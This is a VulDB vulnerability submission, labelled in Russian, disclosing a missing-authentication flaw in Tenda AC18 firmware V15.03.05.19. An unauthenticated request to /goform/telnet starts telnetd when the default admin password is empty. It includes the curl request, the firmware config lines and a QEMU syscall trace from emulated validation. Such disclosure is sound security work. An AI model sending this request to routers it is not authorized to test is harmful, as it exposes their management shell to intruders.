| Название | Tenda AC18 ac18_kf_V15.03.05.19 Missing Authentication for Critical Function |
|---|
| Описание | Tenda AC18 firmware `V15.03.05.19` exposes a hidden `/goform/telnet` handler in `/bin/httpd`. In the firmware's factory-default configuration, `sys.userpass` is empty, and a direct unauthenticated HTTP request reaches the telnet-enable branch and triggers shell commands to start `telnetd` bound to the LAN IP.
This was dynamically validated under the existing `firmrec-idirect` Docker environment with ARM QEMU. The request did **not** include `Cookie`, `Authorization`, or a login step.
## Affected target
- Vendor: Tenda
- Product/Firmware: AC18, `ac18_kf_V15.03.05.19.zip`
- Firmware SHA256: `359d2feac6a7d28bd45a11e60a7062945152f516978deb7d54daea84d9211410`
- Binary: `/bin/httpd`
- Architecture: ARM 32-bit little-endian, uClibc
## Vulnerability
The default web configuration contains an empty admin password:
```text
webroot_ro/default.cfg:298:sys.username=admin
webroot_ro/default.cfg:299:sys.userpass=
```
With that default state loaded, `/goform/telnet` can be requested directly:
```sh
curl -i http://<router>/goform/telnet
```
Observed response:
```text
load telnetd success.
```
Dynamic syscall evidence from `/bin/httpd`:
```text
listen(4,128,...) = 0
execve("/bin/sh", {"sh","-c","killall -9 telnetd",NULL}) = -1 errno=8 (Exec format error)
execve("/bin/sh", {"sh","-c","telnetd -b 192.168.0.1 &",NULL}) = -1 errno=8 (Exec format error)
execve("/bin/sh", {"sh","-c","cfm Post netctrl 19?op=14,wl_rate=24,index=1",NULL}) = -1 errno=8 (Exec format error)
```
`Exec format error` is an emulation artifact from ARM `/bin/sh` child execution in the chroot; the decisive evidence is that the real `httpd` handler reached the command-execution branch and attempted to spawn the telnet commands.
## Dynamic validation notes
- Runtime path: `chroot` + `qemu-arm-static -strace` in Docker container `firmrec-idirect`.
- AC18 requires runtime hardware services normally provided by Broadcom/NVRAM/CFM. For bootstrapping only, the validation used a minimal CFM socket stub that replies from the firmware's own `default.cfg`/`nvram_default.cfg` values.
- Interface names (`br0`, `eth1`, `eth2`, `vlan*`) were mapped to `lo` in a work copy because the Docker network namespace lacks those hardware interfaces and has no `CAP_NET_ADMIN` to create them.
- The vulnerable code path and shell command strings are from the original `/bin/httpd`; the runtime patches are recorded in the evidence package and only unblock emulation.
## Classification
- CWE: CWE-306 Missing Authentication for Critical Function
- Impact: unauthenticated Telnet enablement / management shell exposure in factory-default empty-password state
- Suggested severity: Critical (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`)
## Verification status
-Route exists in served `/bin/httpd`
-Factory-default `sys.userpass=` confirmed from firmware config
-No-cookie HTTP request reached handler
-QEMU syscall trace confirmed telnet shell commands |
|---|
| Источник | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-AC18-TELNET-DEFAULT-UNAUTH-001-vulndb.md |
|---|
| Пользователь | ST4R0003 (UID 99608) |
|---|
| Представление | 17.07.2026 19:10 (1 месяц назад) |
|---|
| Модерация | 30.08.2026 19:44 (1 month later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 397183 [Tenda AC18 15.03.05.19 Telnet /goform/telnet слабая аутентификация] |
|---|
| Баллы | 20 |
|---|